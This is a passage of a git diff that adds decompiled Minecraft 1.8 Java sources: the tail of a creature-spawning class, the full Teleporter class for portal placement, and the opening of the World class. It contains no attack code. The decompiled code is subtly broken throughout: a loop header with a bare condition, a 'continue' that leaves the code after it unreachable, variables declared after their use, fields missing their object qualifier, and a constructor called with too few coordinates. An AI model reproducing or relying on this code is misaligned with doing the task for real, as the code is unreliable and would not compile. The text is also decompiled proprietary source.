+                      if ((var33.getCanSpawnHere()) && (var33.handleLavaMovement()))
+                      {
+                        var28 = var33.func_180482_a(p_77192_1_.getDifficultyForLocation(new BlockPos(var33)), var28);
+                        
+                        if (var33.handleLavaMovement())
+                        {
+                          var21++;
+                          p_77192_1_.spawnEntityInWorld(var33);
+                        }
+                        
+                        if (var21 >= var33.getMaxSpawnedInChunk()) {
+                          break label817;
+                        }
+                      }
+                      
+
+                      var36 += var21;
+                    }
+                  }
+                  
+                  var29++;
+                }
+                
+
+
+                var22++;
+              }
+            }
+          }
+        }
+      }
+    }
+    
+
+
+    return var36;
+  }
+  
+
+  protected static BlockPos func_180621_a(World worldIn, int p_180621_1_, int p_180621_2_)
+  {
+    Chunk var3 = worldIn.getChunkFromChunkCoords(p_180621_1_, p_180621_2_);
+    int var4 = p_180621_1_ * 16 + rand.nextInt(16);
+    int var5 = p_180621_2_ * 16 + rand.nextInt(16);
+    int var6 = MathHelper.func_154354_b(var3.getHeight(new BlockPos(var4, 0, var5)) + 1, 16);
+    int var7 = rand.nextInt(var6 > 0 ? var6 : var3.getTopFilledSegment() + 16 - 1);
+    return new BlockPos(var4, var7, var5);
+  }
+  
+  public static boolean func_180267_a(EntityLiving.SpawnPlacementType p_180267_0_, World worldIn, BlockPos p_180267_2_)
+  {
+    if (!worldIn.getWorldBorder().contains(p_180267_2_))
+    {
+      return false;
+    }
+    
+
+    Block var3 = worldIn.getBlockState(p_180267_2_).getBlock();
+    
+    if (p_180267_0_ == EntityLiving.SpawnPlacementType.IN_WATER)
+    {
+      return (var3.getMaterial().isLiquid()) && (worldIn.getBlockState(p_180267_2_.offsetDown()).getBlock().getMaterial().isLiquid()) && (!worldIn.getBlockState(p_180267_2_.offsetUp()).getBlock().isNormalCube());
+    }
+    
+
+    BlockPos var4 = p_180267_2_.offsetDown();
+    
+    if (!World.doesBlockHaveSolidTopSurface(worldIn, var4))
+    {
+      return false;
+    }
+    
+
+    Block var5 = worldIn.getBlockState(var4).getBlock();
+    boolean var6 = (var5 != net.minecraft.init.Blocks.bedrock) && (var5 != net.minecraft.init.Blocks.barrier);
+    return (var6) && (!var3.isNormalCube()) && (!var3.getMaterial().isLiquid()) && (!worldIn.getBlockState(p_180267_2_.offsetUp()).getBlock().isNormalCube());
+  }
+  
+
+
+
+
+
+
+  public static void performWorldGenSpawning(World worldIn, BiomeGenBase p_77191_1_, int p_77191_2_, int p_77191_3_, int p_77191_4_, int p_77191_5_, Random p_77191_6_)
+  {
+    List var7 = p_77191_1_.getSpawnableList(EnumCreatureType.CREATURE);
+    
+    if (!var7.isEmpty()) { int var9;
+      int var15;
+      for (; p_77191_6_.nextFloat() < p_77191_1_.getSpawningChance(); 
+          
+
+
+
+
+
+
+
+
+          var15 < var9)
+      {
+        BiomeGenBase.SpawnListEntry var8 = (BiomeGenBase.SpawnListEntry)net.minecraft.util.WeightedRandom.getRandomItem(rand, var7);
+        var9 = minGroupCount + p_77191_6_.nextInt(1 + maxGroupCount - minGroupCount);
+        IEntityLivingData var10 = null;
+        int var11 = p_77191_2_ + p_77191_6_.nextInt(p_77191_4_);
+        int var12 = p_77191_3_ + p_77191_6_.nextInt(p_77191_5_);
+        int var13 = var11;
+        int var14 = var12;
+        
+        var15 = 0; continue;
+        
+        boolean var16 = false;
+        
+        for (int var17 = 0; (!var16) && (var17 < 4); var17++)
+        {
+          BlockPos var18 = worldIn.func_175672_r(new BlockPos(var11, 0, var12));
+          
+          if (func_180267_a(EntityLiving.SpawnPlacementType.ON_GROUND, worldIn, var18))
+          {
+
+            try
+            {
+
+              var19 = (EntityLiving)entityClass.getConstructor(new Class[] { World.class }).newInstance(new Object[] { worldIn });
+            }
+            catch (Exception var21) {
+              EntityLiving var19;
+              var21.printStackTrace();
+              continue;
+            }
+            EntityLiving var19;
+            var19.setLocationAndAngles(var11 + 0.5F, var18.getY(), var12 + 0.5F, p_77191_6_.nextFloat() * 360.0F, 0.0F);
+            worldIn.spawnEntityInWorld(var19);
+            var10 = var19.func_180482_a(worldIn.getDifficultyForLocation(new BlockPos(var19)), var10);
+            var16 = true;
+          }
+          
+          var11 += p_77191_6_.nextInt(5) - p_77191_6_.nextInt(5);
+          
+          for (var12 += p_77191_6_.nextInt(5) - p_77191_6_.nextInt(5); (var11 < p_77191_2_) || (var11 >= p_77191_2_ + p_77191_4_) || (var12 < p_77191_3_) || (var12 >= p_77191_3_ + p_77191_4_); var12 = var14 + p_77191_6_.nextInt(5) - p_77191_6_.nextInt(5))
+          {
+            var11 = var13 + p_77191_6_.nextInt(5) - p_77191_6_.nextInt(5);
+          }
+        }
+        var15++;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/Teleporter.java b/src/minecraft/net/minecraft/world/Teleporter.java
new file mode 100644
index 0000000..f02e932
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/Teleporter.java
@@ -0,0 +1,503 @@
+package net.minecraft.world;
+
+import com.google.common.collect.Lists;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockPortal;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Axis;
+import net.minecraft.util.LongHashMap;
+import net.minecraft.util.MathHelper;
+
+
+public class Teleporter
+{
+  private final WorldServer worldServerInstance;
+  private final Random random;
+  private final LongHashMap destinationCoordinateCache = new LongHashMap();
+  
+
+
+
+
+  private final List destinationCoordinateKeys = Lists.newArrayList();
+  private static final String __OBFID = "CL_00000153";
+  
+  public Teleporter(WorldServer worldIn)
+  {
+    worldServerInstance = worldIn;
+    random = new Random(worldIn.getSeed());
+  }
+  
+  public void func_180266_a(Entity p_180266_1_, float p_180266_2_)
+  {
+    if (worldServerInstance.provider.getDimensionId() != 1)
+    {
+      if (!func_180620_b(p_180266_1_, p_180266_2_))
+      {
+        makePortal(p_180266_1_);
+        func_180620_b(p_180266_1_, p_180266_2_);
+      }
+    }
+    else
+    {
+      int var3 = MathHelper.floor_double(posX);
+      int var4 = MathHelper.floor_double(posY) - 1;
+      int var5 = MathHelper.floor_double(posZ);
+      byte var6 = 1;
+      byte var7 = 0;
+      
+      for (int var8 = -2; var8 <= 2; var8++)
+      {
+        for (int var9 = -2; var9 <= 2; var9++)
+        {
+          for (int var10 = -1; var10 < 3; var10++)
+          {
+            int var11 = var3 + var9 * var6 + var8 * var7;
+            int var12 = var4 + var10;
+            int var13 = var5 + var9 * var7 - var8 * var6;
+            boolean var14 = var10 < 0;
+            worldServerInstance.setBlockState(new BlockPos(var11, var12, var13), var14 ? Blocks.obsidian.getDefaultState() : Blocks.air.getDefaultState());
+          }
+        }
+      }
+      
+      p_180266_1_.setLocationAndAngles(var3, var4, var5, rotationYaw, 0.0F);
+      motionX = (p_180266_1_.motionY = p_180266_1_.motionZ = 0.0D);
+    }
+  }
+  
+  public boolean func_180620_b(Entity p_180620_1_, float p_180620_2_)
+  {
+    boolean var3 = true;
+    double var4 = -1.0D;
+    int var6 = MathHelper.floor_double(posX);
+    int var7 = MathHelper.floor_double(posZ);
+    boolean var8 = true;
+    Object var9 = BlockPos.ORIGIN;
+    long var10 = ChunkCoordIntPair.chunkXZ2Int(var6, var7);
+    
+    if (destinationCoordinateCache.containsItem(var10))
+    {
+      PortalPosition var12 = (PortalPosition)destinationCoordinateCache.getValueByKey(var10);
+      var4 = 0.0D;
+      var9 = var12;
+      lastUpdateTime = worldServerInstance.getTotalWorldTime();
+      var8 = false;
+    }
+    else
+    {
+      BlockPos var34 = new BlockPos(p_180620_1_);
+      
+      for (int var13 = -128; var13 <= 128; var13++)
+      {
+
+
+        for (int var14 = -128; var14 <= 128; var14++) {
+          BlockPos var16;
+          for (BlockPos var15 = var34.add(var13, worldServerInstance.getActualHeight() - 1 - var34.getY(), var14); var15.getY() >= 0; var15 = var16)
+          {
+            var16 = var15.offsetDown();
+            
+            if (worldServerInstance.getBlockState(var15).getBlock() == Blocks.portal)
+            {
+              while (worldServerInstance.getBlockState(var16 = var15.offsetDown()).getBlock() == Blocks.portal)
+              {
+                var15 = var16;
+              }
+              
+              double var17 = var15.distanceSq(var34);
+              
+              if ((var4 < 0.0D) || (var17 < var4))
+              {
+                var4 = var17;
+                var9 = var15;
+              }
+            }
+          }
+        }
+      }
+    }
+    
+    if (var4 >= 0.0D)
+    {
+      if (var8)
+      {
+        destinationCoordinateCache.add(var10, new PortalPosition((BlockPos)var9, worldServerInstance.getTotalWorldTime()));
+        destinationCoordinateKeys.add(Long.valueOf(var10));
+      }
+      
+      double var35 = ((BlockPos)var9).getX() + 0.5D;
+      double var36 = ((BlockPos)var9).getY() + 0.5D;
+      double var37 = ((BlockPos)var9).getZ() + 0.5D;
+      EnumFacing var18 = null;
+      
+      if (worldServerInstance.getBlockState(((BlockPos)var9).offsetWest()).getBlock() == Blocks.portal)
+      {
+        var18 = EnumFacing.NORTH;
+      }
+      
+      if (worldServerInstance.getBlockState(((BlockPos)var9).offsetEast()).getBlock() == Blocks.portal)
+      {
+        var18 = EnumFacing.SOUTH;
+      }
+      
+      if (worldServerInstance.getBlockState(((BlockPos)var9).offsetNorth()).getBlock() == Blocks.portal)
+      {
+        var18 = EnumFacing.EAST;
+      }
+      
+      if (worldServerInstance.getBlockState(((BlockPos)var9).offsetSouth()).getBlock() == Blocks.portal)
+      {
+        var18 = EnumFacing.WEST;
+      }
+      
+      EnumFacing var19 = EnumFacing.getHorizontal(p_180620_1_.getTeleportDirection());
+      
+      if (var18 != null)
+      {
+        EnumFacing var20 = var18.rotateYCCW();
+        BlockPos var21 = ((BlockPos)var9).offset(var18);
+        boolean var22 = func_180265_a(var21);
+        boolean var23 = func_180265_a(var21.offset(var20));
+        
+        if ((var23) && (var22))
+        {
+          var9 = ((BlockPos)var9).offset(var20);
+          var18 = var18.getOpposite();
+          var20 = var20.getOpposite();
+          BlockPos var24 = ((BlockPos)var9).offset(var18);
+          var22 = func_180265_a(var24);
+          var23 = func_180265_a(var24.offset(var20));
+        }
+        
+        float var38 = 0.5F;
+        float var25 = 0.5F;
+        
+        if ((!var23) && (var22))
+        {
+          var38 = 1.0F;
+        }
+        else if ((var23) && (!var22))
+        {
+          var38 = 0.0F;
+        }
+        else if (var23)
+        {
+          var25 = 0.0F;
+        }
+        
+        var35 = ((BlockPos)var9).getX() + 0.5D;
+        var36 = ((BlockPos)var9).getY() + 0.5D;
+        var37 = ((BlockPos)var9).getZ() + 0.5D;
+        var35 += var20.getFrontOffsetX() * var38 + var18.getFrontOffsetX() * var25;
+        var37 += var20.getFrontOffsetZ() * var38 + var18.getFrontOffsetZ() * var25;
+        float var26 = 0.0F;
+        float var27 = 0.0F;
+        float var28 = 0.0F;
+        float var29 = 0.0F;
+        
+        if (var18 == var19)
+        {
+          var26 = 1.0F;
+          var27 = 1.0F;
+        }
+        else if (var18 == var19.getOpposite())
+        {
+          var26 = -1.0F;
+          var27 = -1.0F;
+        }
+        else if (var18 == var19.rotateY())
+        {
+          var28 = 1.0F;
+          var29 = -1.0F;
+        }
+        else
+        {
+          var28 = -1.0F;
+          var29 = 1.0F;
+        }
+        
+        double var30 = motionX;
+        double var32 = motionZ;
+        motionX = (var30 * var26 + var32 * var29);
+        motionZ = (var30 * var28 + var32 * var27);
+        rotationYaw = (p_180620_2_ - var19.getHorizontalIndex() * 90 + var18.getHorizontalIndex() * 90);
+      }
+      else
+      {
+        motionX = (p_180620_1_.motionY = p_180620_1_.motionZ = 0.0D);
+      }
+      
+      p_180620_1_.setLocationAndAngles(var35, var36, var37, rotationYaw, rotationPitch);
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+  private boolean func_180265_a(BlockPos p_180265_1_)
+  {
+    return (!worldServerInstance.isAirBlock(p_180265_1_)) || (!worldServerInstance.isAirBlock(p_180265_1_.offsetUp()));
+  }
+  
+  public boolean makePortal(Entity p_85188_1_)
+  {
+    byte var2 = 16;
+    double var3 = -1.0D;
+    int var5 = MathHelper.floor_double(posX);
+    int var6 = MathHelper.floor_double(posY);
+    int var7 = MathHelper.floor_double(posZ);
+    int var8 = var5;
+    int var9 = var6;
+    int var10 = var7;
+    int var11 = 0;
+    int var12 = random.nextInt(4);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    for (int var13 = var5 - var2; var13 <= var5 + var2; var13++)
+    {
+      double var14 = var13 + 0.5D - posX;
+      
+      for (int var16 = var7 - var2; var16 <= var7 + var2; var16++)
+      {
+        double var17 = var16 + 0.5D - posZ;
+        
+
+        for (int var19 = worldServerInstance.getActualHeight() - 1; var19 >= 0; var19--)
+        {
+          if (worldServerInstance.isAirBlock(new BlockPos(var13, var19, var16)))
+          {
+            while ((var19 > 0) && (worldServerInstance.isAirBlock(new BlockPos(var13, var19 - 1, var16))))
+            {
+              var19--;
+            }
+            
+            for (int var20 = var12; var20 < var12 + 4; var20++)
+            {
+              int var21 = var20 % 2;
+              int var22 = 1 - var21;
+              
+              if (var20 % 4 >= 2)
+              {
+                var21 = -var21;
+                var22 = -var22;
+              }
+              
+              for (int var23 = 0; var23 < 3; var23++)
+              {
+                for (int var24 = 0; var24 < 4; var24++)
+                {
+                  for (int var25 = -1; var25 < 4; var25++)
+                  {
+                    int var26 = var13 + (var24 - 1) * var21 + var23 * var22;
+                    int var27 = var19 + var25;
+                    int var28 = var16 + (var24 - 1) * var22 - var23 * var21;
+                    
+                    if (((var25 < 0) && (!worldServerInstance.getBlockState(new BlockPos(var26, var27, var28)).getBlock().getMaterial().isSolid())) || ((var25 >= 0) && (!worldServerInstance.isAirBlock(new BlockPos(var26, var27, var28))))) {
+                      break;
+                    }
+                  }
+                }
+              }
+              
+
+              double var32 = var19 + 0.5D - posY;
+              double var33 = var14 * var14 + var32 * var32 + var17 * var17;
+              
+              if ((var3 < 0.0D) || (var33 < var3))
+              {
+                var3 = var33;
+                var8 = var13;
+                var9 = var19;
+                var10 = var16;
+                var11 = var20 % 4;
+              }
+            }
+          }
+        }
+      }
+    }
+    
+    if (var3 < 0.0D)
+    {
+      for (var13 = var5 - var2; var13 <= var5 + var2; var13++)
+      {
+        double var14 = var13 + 0.5D - posX;
+        
+        for (int var16 = var7 - var2; var16 <= var7 + var2; var16++)
+        {
+          double var17 = var16 + 0.5D - posZ;
+          
+
+          for (int var19 = worldServerInstance.getActualHeight() - 1; var19 >= 0; var19--)
+          {
+            if (worldServerInstance.isAirBlock(new BlockPos(var13, var19, var16)))
+            {
+              while ((var19 > 0) && (worldServerInstance.isAirBlock(new BlockPos(var13, var19 - 1, var16))))
+              {
+                var19--;
+              }
+              
+              for (int var20 = var12; var20 < var12 + 2; var20++)
+              {
+                int var21 = var20 % 2;
+                int var22 = 1 - var21;
+                
+                for (int var23 = 0; var23 < 4; var23++)
+                {
+                  for (int var24 = -1; var24 < 4; var24++)
+                  {
+                    int var25 = var13 + (var23 - 1) * var21;
+                    int var26 = var19 + var24;
+                    int var27 = var16 + (var23 - 1) * var22;
+                    
+                    if (((var24 < 0) && (!worldServerInstance.getBlockState(new BlockPos(var25, var26, var27)).getBlock().getMaterial().isSolid())) || ((var24 >= 0) && (!worldServerInstance.isAirBlock(new BlockPos(var25, var26, var27))))) {
+                      break;
+                    }
+                  }
+                }
+                
+
+                double var32 = var19 + 0.5D - posY;
+                double var33 = var14 * var14 + var32 * var32 + var17 * var17;
+                
+                if ((var3 < 0.0D) || (var33 < var3))
+                {
+                  var3 = var33;
+                  var8 = var13;
+                  var9 = var19;
+                  var10 = var16;
+                  var11 = var20 % 2;
+                }
+              }
+            }
+          }
+        }
+      }
+    }
+    
+    int var29 = var8;
+    int var15 = var9;
+    int var16 = var10;
+    int var30 = var11 % 2;
+    int var18 = 1 - var30;
+    
+    if (var11 % 4 >= 2)
+    {
+      var30 = -var30;
+      var18 = -var18;
+    }
+    
+    if (var3 < 0.0D)
+    {
+      var9 = MathHelper.clamp_int(var9, 70, worldServerInstance.getActualHeight() - 10);
+      var15 = var9;
+      
+      for (int var19 = -1; var19 <= 1; var19++)
+      {
+        for (int var20 = 1; var20 < 3; var20++)
+        {
+          for (int var21 = -1; var21 < 3; var21++)
+          {
+            int var22 = var29 + (var20 - 1) * var30 + var19 * var18;
+            int var23 = var15 + var21;
+            int var24 = var16 + (var20 - 1) * var18 - var19 * var30;
+            boolean var34 = var21 < 0;
+            worldServerInstance.setBlockState(new BlockPos(var22, var23, var24), var34 ? Blocks.obsidian.getDefaultState() : Blocks.air.getDefaultState());
+          }
+        }
+      }
+    }
+    
+    IBlockState var31 = Blocks.portal.getDefaultState().withProperty(BlockPortal.field_176550_a, var30 != 0 ? EnumFacing.Axis.X : EnumFacing.Axis.Z);
+    
+    for (int var20 = 0; var20 < 4; var20++)
+    {
+      for (int var21 = 0; var21 < 4; var21++)
+      {
+        for (int var22 = -1; var22 < 4; var22++)
+        {
+          int var23 = var29 + (var21 - 1) * var30;
+          int var24 = var15 + var22;
+          int var25 = var16 + (var21 - 1) * var18;
+          boolean var35 = (var21 == 0) || (var21 == 3) || (var22 == -1) || (var22 == 3);
+          worldServerInstance.setBlockState(new BlockPos(var23, var24, var25), var35 ? Blocks.obsidian.getDefaultState() : var31, 2);
+        }
+      }
+      
+      for (var21 = 0; var21 < 4; var21++)
+      {
+        for (int var22 = -1; var22 < 4; var22++)
+        {
+          int var23 = var29 + (var21 - 1) * var30;
+          int var24 = var15 + var22;
+          int var25 = var16 + (var21 - 1) * var18;
+          worldServerInstance.notifyNeighborsOfStateChange(new BlockPos(var23, var24, var25), worldServerInstance.getBlockState(new BlockPos(var23, var24, var25)).getBlock());
+        }
+      }
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+  public void removeStalePortalLocations(long p_85189_1_)
+  {
+    if (p_85189_1_ % 100L == 0L)
+    {
+      Iterator var3 = destinationCoordinateKeys.iterator();
+      long var4 = p_85189_1_ - 600L;
+      
+      while (var3.hasNext())
+      {
+        Long var6 = (Long)var3.next();
+        PortalPosition var7 = (PortalPosition)destinationCoordinateCache.getValueByKey(var6.longValue());
+        
+        if ((var7 == null) || (lastUpdateTime < var4))
+        {
+          var3.remove();
+          destinationCoordinateCache.remove(var6.longValue());
+        }
+      }
+    }
+  }
+  
+  public class PortalPosition extends BlockPos
+  {
+    public long lastUpdateTime;
+    private static final String __OBFID = "CL_00000154";
+    
+    public PortalPosition(BlockPos p_i45747_2_, long p_i45747_3_)
+    {
+      super(p_i45747_2_.getY(), p_i45747_2_.getZ());
+      lastUpdateTime = p_i45747_3_;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/World.java b/src/minecraft/net/minecraft/world/World.java
new file mode 100644
index 0000000..51e9083
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/World.java
@@ -0,0 +1,3863 @@
+package net.minecraft.world;
+
+import com.google.common.base.Predicate;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Sets;
+import java.util.ArrayList;
+import java.util.Calendar;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import java.util.Set;
+import java.util.UUID;
+import java.util.concurrent.Callable;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockLiquid;
+import net.minecraft.block.BlockRedstoneComparator;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.command.IEntitySelector;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.profiler.Profiler;
+import net.minecraft.scoreboard.Scoreboard;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.gui.IUpdatePlayerListBox;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.IntHashMap;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.util.MovingObjectPosition.MovingObjectType;
+import net.minecraft.util.ReportedException;
+import net.minecraft.util.Vec3;
+import net.minecraft.village.VillageCollection;
+import net.minecraft.world.biome.BiomeGenBase;
+import net.minecraft.world.biome.WorldChunkManager;
+import net.minecraft.world.border.WorldBorder;
+import net.minecraft.world.chunk.Chunk;
+import net.minecraft.world.chunk.Chunk.EnumCreateEntityType;
+import net.minecraft.world.chunk.IChunkProvider;
+import net.minecraft.world.gen.structure.StructureBoundingBox;
+import net.minecraft.world.storage.ISaveHandler;
+import net.minecraft.world.storage.MapStorage;
+import net.minecraft.world.storage.WorldInfo;
+
+
+
+
+
+public abstract class World
+  implements IBlockAccess
+{
+  protected boolean scheduledUpdatesAreImmediate;
+  public final List loadedEntityList = Lists.newArrayList();
+  protected final List unloadedEntityList = Lists.newArrayList();
+  
+
+  public final List loadedTileEntityList = Lists.newArrayList();
+  public final List tickableTileEntities = Lists.newArrayList();
+  private final List addedTileEntityList = Lists.newArrayList();
+  private final List tileEntitiesToBeRemoved = Lists.newArrayList();
+  
+
+  public final List<EntityPlayer> playerEntities = Lists.newArrayList();
+  
+
+  public final List weatherEffects = Lists.newArrayList();
+  protected final IntHashMap entitiesById = new IntHashMap();
+  private long cloudColour = 16777215L;
+  
+
+
+
+  private int skylightSubtracted;
+  
+
+
+
+  protected int updateLCG = new Random().nextInt();
+  
+
+
+
+  protected final int DIST_HASH_MAGIC = 1013904223;
+  
+
+  protected float prevRainingStrength;
+  
+  protected float rainingStrength;
+  
+  protected float prevThunderingStrength;
+  
+  protected float thunderingStrength;
+  
+  private int lastLightningBolt;
+  
+  public final Random rand = new Random();
+  
+  public final WorldProvider provider;
+  
+  protected List worldAccesses = Lists.newArrayList();
+  
+
+  protected IChunkProvider chunkProvider;
+  
+
+  protected final ISaveHandler saveHandler;
+  
+
+  protected WorldInfo worldInfo;
+  
+  protected boolean findingSpawnPoint;
+  
+  protected MapStorage mapStorage;
+  
+  protected VillageCollection villageCollectionObj;
+  
+  public final Profiler theProfiler;
+  
+  private final Calendar theCalendar = Calendar.getInstance();
+  protected Scoreboard worldScoreboard = new Scoreboard();
+  
+
+  public final boolean isRemote;
+  
+
+  protected Set activeChunkSet = Sets.newHashSet();
+  
+
+  private int ambientTickCountdown;
+  
+
+  protected boolean spawnHostileMobs;
+  
+
+  protected boolean spawnPeacefulMobs;
+  
+
+  private boolean processingLoadedTiles;
+  
+
+  private final WorldBorder worldBorder;
+  
+  int[] lightUpdateBlockList;
+  
+  private static final String __OBFID = "CL_00000140";
+  
+
+  protected World(ISaveHandler saveHandlerIn, WorldInfo info, WorldProvider providerIn, Profiler profilerIn, boolean client)
+  {
+    ambientTickCountdown = rand.nextInt(12000);
+    spawnHostileMobs = true;
+    spawnPeacefulMobs = true;
+    lightUpdateBlockList = new int[32768];
+    saveHandler = saveHandlerIn;
+    theProfiler = profilerIn;
+    worldInfo = info;
+    provider = providerIn;
+    isRemote = client;
+    worldBorder = providerIn.getWorldBorder();
+  }
+  
+  public World init()
+  {
+    return this;
+  }
+  
+  public BiomeGenBase getBiomeGenForCoords(final BlockPos pos)
+  {
+    if (isBlockLoaded(pos))
+    {
+      Chunk var2 = getChunkFromBlockCoords(pos);
+      
+      try
+      {
+        return var2.getBiome(pos, provider.getWorldChunkManager());
+      }
+      catch (Throwable var6)
+      {
+        CrashReport var4 = CrashReport.makeCrashReport(var6, "Getting biome");
+        CrashReportCategory var5 = var4.makeCategory("Coordinates of biome request");
+        var5.addCrashSectionCallable("Location", new Callable()
+        {
+          private static final String __OBFID = "CL_00000141";
+          
+          public String call() {
+            return CrashReportCategory.getCoordinateInfo(pos);
+          }
+        });
+        throw new ReportedException(var4);
+      }
+    }
+    
+
+    return provider.getWorldChunkManager().func_180300_a(pos, BiomeGenBase.plains);
+  }
+  
+
+  public WorldChunkManager getWorldChunkManager()
+  {
+    return provider.getWorldChunkManager();
+  }
+  
+
+
+  protected abstract IChunkProvider createChunkProvider();
+  
+
+  public void initialize(WorldSettings settings)
+  {
+    worldInfo.setServerInitialized(true);
+  }
+  
+
+
+
+  public void setInitialSpawnLocation()
+  {
+    setSpawnLocation(new BlockPos(8, 64, 8));
+  }
+  
+
+
+  public Block getGroundAboveSeaLevel(BlockPos pos)
+  {
+    for (BlockPos var2 = new BlockPos(pos.getX(), 63, pos.getZ()); !isAirBlock(var2.offsetUp()); var2 = var2.offsetUp()) {}
+    
+
+
+
+    return getBlockState(var2).getBlock();
+  }
+  
+
+
+
+  private boolean isValid(BlockPos pos)
+  {
+    return (pos.getX() >= -30000000) && (pos.getZ() >= -30000000) && (pos.getX() < 30000000) && (pos.getZ() < 30000000) && (pos.getY() >= 0) && (pos.getY() < 256);
+  }
+  
+  public boolean isAirBlock(BlockPos pos)
+  {
+    return getBlockState(pos).getBlock().getMaterial() == Material.air;
+  }
+  
+  public boolean isBlockLoaded(BlockPos pos)
+  {
+    return isBlockLoaded(pos, true);
+  }
+  
+  public boolean isBlockLoaded(BlockPos pos, boolean p_175668_2_)
+  {
+    return !isValid(pos) ? false : isChunkLoaded(pos.getX() >> 4, pos.getZ() >> 4, p_175668_2_);
+  }
+  
+  public boolean isAreaLoaded(BlockPos p_175697_1_, int radius)
+  {
+    return isAreaLoaded(p_175697_1_, radius, true);
+  }
+  
+  public boolean isAreaLoaded(BlockPos p_175648_1_, int radius, boolean p_175648_3_)
+  {
+    return isAreaLoaded(p_175648_1_.getX() - radius, p_175648_1_.getY() - radius, p_175648_1_.getZ() - radius, p_175648_1_.getX() + radius, p_175648_1_.getY() + radius, p_175648_1_.getZ() + radius, p_175648_3_);
+  }
+  
+  public boolean isAreaLoaded(BlockPos p_175707_1_, BlockPos p_175707_2_)
+  {
+    return isAreaLoaded(p_175707_1_, p_175707_2_, true);
+  }
+  
+  public boolean isAreaLoaded(BlockPos p_175706_1_, BlockPos p_175706_2_, boolean p_175706_3_)
+  {
+    return isAreaLoaded(p_175706_1_.getX(), p_175706_1_.getY(), p_175706_1_.getZ(), p_175706_2_.getX(), p_175706_2_.getY(), p_175706_2_.getZ(), p_175706_3_);
+  }
+  
+  public boolean isAreaLoaded(StructureBoundingBox p_175711_1_)
+  {
+    return isAreaLoaded(p_175711_1_, true);
+  }
+  
+  public boolean isAreaLoaded(StructureBoundingBox p_175639_1_, boolean p_175639_2_)
+  {
+    return isAreaLoaded(minX, minY, minZ, maxX, maxY, maxZ, p_175639_2_);
+  }
+  
+  private boolean isAreaLoaded(int p_175663_1_, int p_175663_2_, int p_175663_3_, int p_175663_4_, int p_175663_5_, int p_175663_6_, boolean p_175663_7_)
+  {
+    if ((p_175663_5_ >= 0) && (p_175663_2_ < 256))
+    {
+      p_175663_1_ >>= 4;
+      p_175663_3_ >>= 4;
+      p_175663_4_ >>= 4;
+      p_175663_6_ >>= 4;
+      
+      for (int var8 = p_175663_1_; var8 <= p_175663_4_; var8++)
+      {
+        for (int var9 = p_175663_3_; var9 <= p_175663_6_; var9++)
+        {
+          if (!isChunkLoaded(var8, var9, p_175663_7_))
+          {
+            return false;
+          }
+        }
+      }
+      
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+  protected boolean isChunkLoaded(int x, int z, boolean allowEmpty)
+  {
+    return (chunkProvider.chunkExists(x, z)) && ((allowEmpty) || (!chunkProvider.provideChunk(x, z).isEmpty()));
+  }
+  
+  public Chunk getChunkFromBlockCoords(BlockPos pos)
+  {
+    return getChunkFromChunkCoords(pos.getX() >> 4, pos.getZ() >> 4);
+  }
+  
+
+
+
+
+
+
+  public Chunk getChunkFromChunkCoords(int chunkX, int chunkZ)
+  {
+    return chunkProvider.provideChunk(chunkX, chunkZ);
+  }
+  
+  public boolean setBlockState(BlockPos pos, IBlockState newState, int flags)
+  {
+    if (!isValid(pos))
+    {
+      return false;
+    }
+    if ((!isRemote) && (worldInfo.getTerrainType() == WorldType.DEBUG_WORLD))
+    {
+      return false;
+    }
+    
+
+    Chunk var4 = getChunkFromBlockCoords(pos);
+    Block var5 = newState.getBlock();
+    IBlockState var6 = var4.setBlockState(pos, newState);
+    
+    if (var6 == null)
+    {
+      return false;
+    }
+    
+
+    Block var7 = var6.getBlock();
+    
+    if ((var5.getLightOpacity() != var7.getLightOpacity()) || (var5.getLightValue() != var7.getLightValue()))
+    {
+      theProfiler.startSection("checkLight");
+      checkLight(pos);
+      theProfiler.endSection();
+    }
+    
+    if (((flags & 0x2) != 0) && ((!isRemote) || ((flags & 0x4) == 0)) && (var4.isPopulated()))
+    {
+      markBlockForUpdate(pos);
+    }
+    
+    if ((!isRemote) && ((flags & 0x1) != 0))
+    {
+      func_175722_b(pos, var6.getBlock());
+      
+      if (var5.hasComparatorInputOverride())
+      {
+        updateComparatorOutputLevel(pos, var5);
+      }
+    }
+    
+    return true;
+  }
+  
+
+
+  public boolean setBlockToAir(BlockPos pos)
+  {
+    return setBlockState(pos, Blocks.air.getDefaultState(), 3);
+  }
+  
+  public boolean destroyBlock(BlockPos pos, boolean dropBlock)
+  {
+    IBlockState var3 = getBlockState(pos);
+    Block var4 = var3.getBlock();
+    
+    if (var4.getMaterial() == Material.air)
+    {
+      return false;
+    }
+    
+
+    playAuxSFX(2001, pos, Block.getStateId(var3));
+    
+    if (dropBlock)
+    {
+      var4.dropBlockAsItem(this, pos, var3, 0);
+    }
+    
